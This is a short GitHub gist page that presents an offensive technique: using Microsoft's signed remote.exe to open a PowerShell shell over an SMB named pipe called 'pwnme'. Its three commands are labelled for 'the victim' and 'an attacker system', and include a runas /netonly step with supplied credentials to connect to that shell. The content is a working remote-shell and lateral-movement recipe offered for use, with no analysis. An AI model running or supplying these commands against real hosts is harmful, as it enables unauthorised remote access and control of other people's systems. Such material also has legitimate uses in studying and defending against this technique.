Skip to content

Instantly share code, notes, and snippets.

Show Gist options
  • Star 0 You must be signed in to star a gist
  • Fork 0 You must be signed in to fork a gist
  • Save clavoillotte/e4c6845e9468bc7c9e8d2e9884b06a4f to your computer and use it in GitHub Desktop.
Save clavoillotte/e4c6845e9468bc7c9e8d2e9884b06a4f to your computer and use it in GitHub Desktop.
remote.exe - a useful, MS signed SMB shell
# Command to run on the victim
# This will establish a PowerShell listener over the "pwnme" named pipe
remote /S "powershell.exe" pwnme
# Commands to run on an attacker system - if remote.exe is desired on the client (versus developing your own SMB pipe client)
runas /netonly /user:[Domain|Hostname\Username] "cmd"
remote /C [Hostname\IP] "pwnme"
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment